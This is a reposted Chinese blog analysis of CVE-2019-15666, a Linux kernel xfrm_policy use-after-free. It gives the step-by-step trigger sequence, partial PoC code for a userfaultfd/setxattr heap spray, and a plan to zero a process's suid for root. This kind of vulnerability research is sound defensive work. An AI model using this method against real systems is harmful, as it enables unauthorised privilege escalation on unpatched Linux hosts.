博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
cve-2019-15666 xfrm_policy
阅读量:2344 次
发布时间:2019-05-10

本文共 8117 字,大约阅读时间需要 27 分钟。

这个漏洞比较强,官方说明漏洞只会导致拒绝服务攻击,但实际上利用得当可以实现提权。影响范围3.x-5.x

漏洞成因,数组越界。需要插入用户定义的 index timer set。

XFRM_MSG_NEWSA请求的路劲添加policy。

添加policy需要通过verify_newpolicy_info的认证。但漏洞版本认证缺陷。

https://duasynt.com/blog/ubuntu-centos-redhat-privesc

static int xfrm_add_policy(struct sk_buff *skb, struct nlmsghdr *nlh,struct nlattr **attrs){
struct net *net = sock_net(skb->sk);struct xfrm_userpolicy_info *p = nlmsg_data(nlh);struct xfrm_policy *xp;struct km_event c;int err;int excl;err = verify_newpolicy_info(p); [1]if (err)return err;err = verify_sec_ctx_len(attrs);if (err)return err;c 2020 DUASYNT Pty Ltd Page 1 of 6Technical report: 01-0311-2018 rev 0.2xp = xfrm_policy_construct(net, p, attrs, &err);if (!xp)return err;excl = nlh->nlmsg_type == XFRM_MSG_NEWPOLICY;err = xfrm_policy_insert(p->dir, xp, excl); [2]xfrm_audit_policy_add(xp, err ? 0 : 1, true);...
static int verify_newpolicy_info(struct xfrm_userpolicy_info *p){
...ret = verify_policy_dir(p->dir); [3]if (ret)return ret;if (p->index && ((p->index & XFRM_POLICY_MAX) != p->dir)) [4]return -EINVAL;return 0;}

甚至在3.0版本中,根本没有检测。

static int verify_policy_dir(u8 dir){
switch (dir) {
case XFRM_POLICY_IN: case XFRM_POLICY_OUT: case XFRM_POLICY_FWD: break; default: return -EINVAL; } return 0;}

伪造index = 4 , direction = 0; 将可以通过所有的认证。

触发越界位于 xfrm_policy_timer函数中。

if (unlikely(xp->walk.dead))goto out;dir = xfrm_policy_id2dir(xp->index); [5]      index = 4  dir = 4...expired:read_unlock(&xp->lock);if (!xfrm_policy_delete(xp, dir)) [6]km_policy_expired(xp, dir, 1, 0);xfrm_pol_put(xp);}

其中 利用 xfrm_policy_id2dir();计算了direction。但是

static inline int xfrm_policy_id2dir(u32 index){
return index & 7;}

4 & 7 = 4 ; [6]越界行为。 4 & 3 =0

static struct xfrm_policy *__xfrm_policy_unlink(struct xfrm_policy *pol,int dir){
struct net *net = xp_net(pol);if (list_empty(&pol->walk.all))return NULL;/* Socket policies are not hashed. */if (!hlist_unhashed(&pol->bydst)) {
hlist_del_rcu(&pol->bydst);hlist_del(&pol->byidx);}list_del_init(&pol->walk.all);net->xfrm.policy_count[dir]--; [7]return pol;}
1. The first policy object is inserted with index 0 (auto-generated by the subsystem), direction 0 andpriority 0.2. The second policy object is inserted with the user-defined index = 4, direction 0, priority 1 (> 0) anda timer set.3. XFRM_SPD_IPV4_HTHRESH request is issued to trigger policy rehashing.4. XFRM_FLUSH_POLICY request is issued freeing the first policy.5. Once the timer expires on the second policy, UAF is triggered on the first policy that was freed in theprevious step

步骤三 . XFRM_SPD_IPV4_HTHRESH executes the following function re-inserting existing policies in reverse order into the bydst

list:

static void xfrm_hash_rebuild(struct work_struct *work){
.../* re-insert all policies by order of creation */list_for_each_entry_reverse(policy, &net->xfrm.policy_all, walk.all) {
if (policy->walk.dead || xfrm_policy_id2dir(policy->index) >= XFRM_POLICY_MAX) {
[8] /* skip socket policies */ continue; } newpos = NULL; chain = policy_hash_bysel(net, &policy->selector, policy->family, xfrm_policy_id2dir(policy->index)); hlist_for_each_entry(pol, chain, bydst) {
if (policy->priority >= pol->priority) newpos = &pol->bydst; else break; } if (newpos) hlist_add_behind(&policy->bydst, newpos); else hlist_add_head(&policy->bydst, chain); }

However, the second policy with index 4 (4 & 7 = 4 is

now checked against XFRM POLICY MAX = 3 causing this policy to be skipped and not reinserted into the
bydst policy list.

在这里插入图片描述

setp 4: the request to flush policies frees the first policy in [9], leaving the second policy object in its own
disjoint state:

int xfrm_policy_flush(struct net *net, u8 type, bool task_valid){
...for (dir = 0; dir < XFRM_POLICY_MAX; dir++) {
struct xfrm_policy *pol; int i; again1: hlist_for_each_entry(pol, &net->xfrm.policy_inexact[dir], bydst) {
if (pol->type != type) continue; __xfrm_policy_unlink(pol, dir); spin_unlock_bh(&net->xfrm.xfrm_policy_lock); cnt++; xfrm_audit_policy_delete(pol, 1, task_valid); xfrm_policy_kill(pol); [9]...

When the preset timer expires on the second policy, the following execution path calls the unlink operation

on the second policy leading to UAF write in [10]:

static struct xfrm_policy *__xfrm_policy_unlink(struct xfrm_policy *pol,int dir){
struct net *net = xp_net(pol); if (list_empty(&pol->walk.all)) return NULL; /* Socket policies are not hashed. */ if (!hlist_unhashed(&pol->bydst)) {
hlist_del_rcu(&pol->bydst); [10] hlist_del(&pol->byidx); } list_del_init(&pol->walk.all); net->xfrm.policy_count[dir]--; return pol;}
hlist del rcu then executes hlist del on the bydst list pointer in the second policy object:static inline void __hlist_del(struct hlist_node *n){
struct hlist_node *next = n->next;struct hlist_node **pprev = n->pprev;WRITE_ONCE(*pprev, next); [11]if (next)next->pprev = pprev;}

The pprev pointer in the second policy object still references the freed first policy. Hence, the next pointer

in the freed object gets overwritten with 0 (8-byte write) in [11].

在这里插入图片描述

期间,二次插入后效果如图,现在删除pol1。
next = pol1->next = NULL;
pprev = pol1->pprev = pol2;

*pprev = next ==> pol2->next = NULL;

next->pprev = pprev 没有操作。
最终:
pol2->pprev = pol1。pol2还引用着释放后的pol1值。 堆喷站位。

删除pol2

next = pol2->next =NULL
pprev = pol2->pprev =pol1

pprev = next ==> pol1->next = NULL

next->pprev = pprev ==> 没有操作;

那么我们就可以在二次分配的内存中写入八字节的0; 也就是改写struct xfrm_policy 结构体的 位于bydst的元素。

也就是说,如果我们控制了pol1->next的指针,就是一个地址写0的漏洞。

poc

整个poc利用uffd监控缺页异常,并通过用户态对缺页进行填充。

static pthread_t spray_setxattr(int flag, int idx){
pthread_t ret; void *addr; addr = mmap(NULL, 0x1000, 3, 0x22, -1, 0); /* TODO */ if (!addr) {
perror("mmap"); exit(-1); } ret = uffd_setup(addr, 0x1000, flag, idx); sem_wait(&shmaddr[idx]); if (flag) {
int c; read(pipedes1[0], &c, 1); } setxattr("/etc/passwd", "user.test", addr, 0x400, 1); /* TODO */ return ret;}
void *addr;		addr = (void *)(msg.arg.pagefault.address & 0xfffffffffffff000);		sem_post(&shmaddr[idx + 1]);		int c;		read(pipedes0[0], &c, 1);		struct uffdio_copy io_copy;		char src[0x1000];		io_copy.dst = (unsigned long)addr;		io_copy.src = (unsigned long)src;		io_copy.len = 0x1000;		io_copy.mode = 0;		if ((idx > (SEM_MAX - 1)) || (idx < 205)) {
sleep(1); if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0) perror("UFFDIO_COPY"); } else if ((ioctl(fd, UFFDIO_COPY, &io_copy)) != 0) {
perror("UFFDIO_COPY"); } sleep(3);

本来有个setup_sandbox启用子命名空间,但是被注释掉了。

对缺页进行填充的数据居然不用填。堆喷后的uaf到底执行了什么。单从数据来看,什么也没传进去。
开始没明白,后来看了这个 https://xz.aliyun.com/t/2814
原来又是一个高端的堆喷技巧,userfaultfd setxattr 精确堆喷的技巧。

while true; do ./test && break; done

但作用和传统的堆喷还是有区别的,因为确实没有填任何数据进去,意义在意就在于分割内存,使cred结构体能够被成功的从内存list当中分配,最后利用利用置零漏洞,把特定位置也就是suid的位置置零。

完成提权

大致懂了,通过不断竞争,我们要实现的是在新建的进程的cred结构体中 任意ruid euid suid置零的操作,通过我们的置零uaf。但其实本身这并不是通常的uaf利用过程,需要竞态实现上诉完整过程。

struct cred {
atomic_t usage;#ifdef CONFIG_DEBUG_CREDENTIALS atomic_t subscribers; /* number of processes subscribed */ void *put_addr; unsigned magic;#define CRED_MAGIC 0x43736564#define CRED_MAGIC_DEAD 0x44656144#endif uid_t uid; /* real UID of the task */ gid_t gid; /* real GID of the task */ uid_t suid; /* saved UID of the task */ gid_t sgid; /* saved GID of the task */ uid_t euid; /* effective UID of the task */ gid_t egid; /* effective GID of the task */ uid_t fsuid; /* UID for VFS ops */ gid_t fsgid; /* GID for VFS ops */ unsigned securebits; /* SUID-less security management */ kernel_cap_t cap_inheritable; /* caps our children can inherit */ kernel_cap_t cap_permitted; /* caps we're permitted */ kernel_cap_t cap_effective; /* caps we can actually use */ kernel_cap_t cap_bset; /* capability bounding set */......};
struct xfrm_policy {
#ifdef CONFIG_NET_NS struct net *xp_net;#endif struct hlist_node bydst; struct hlist_node byidx;.....};typedef __kernel_uid32_t uid_t;

cred 结构 usage 32位。uid_t 也是32位。也就是说到suid,刚好是12byte。而xfrm_policy到开始待bydst刚好也是12byte。神奇的是发生了,利用堆喷完成 超级多的 Small bin。而且这两结构体都在smallbin中。也就是说,提权的程序产生的新进程中的肯定会用到堆喷的small bin。当xfrm_policy发生uaf后,12byte的small bin刚好被重置位零,也就是suid变成了0。那么拥有suid = 0的进程就可以成功的利用seteuid, setresuid提权成功。至此全篇结束。

转载地址:http://qnjvb.baihongyu.com/

你可能感兴趣的文章
C/C++ 多线程学习心得
查看>>
C/C++四种退出线程的方法
查看>>
多线程编程要点
查看>>
c++CreateEvent函数在多线程中使用及实例
查看>>
c++多线程同步(1)
查看>>
Windows 下 C/C++ 多线程编程入门参考范例
查看>>
浅析stack around the variable was corrupted
查看>>
RGB与YUV转换
查看>>
YUV转RGB的相关函数
查看>>
ES(Elasticsearch)排序与相关性
查看>>
ES(Elasticsearch)分片内部原理
查看>>
Java IO(概述)
查看>>
Java IO(文件、管道、字节和字符数组)
查看>>
Java IO(流、Reader And Writer、异常处理)
查看>>
Java IO(RandomAccessFile、File、PipedInputStream、PipedOutputStream)
查看>>
Java NIO(二) Channel
查看>>
Java NIO(三) Buffer
查看>>
Java NIO(五) Selector
查看>>
Java NIO(六)SocketChannel、ServerSocketChannel
查看>>
6 Netty 架构剖析
查看>>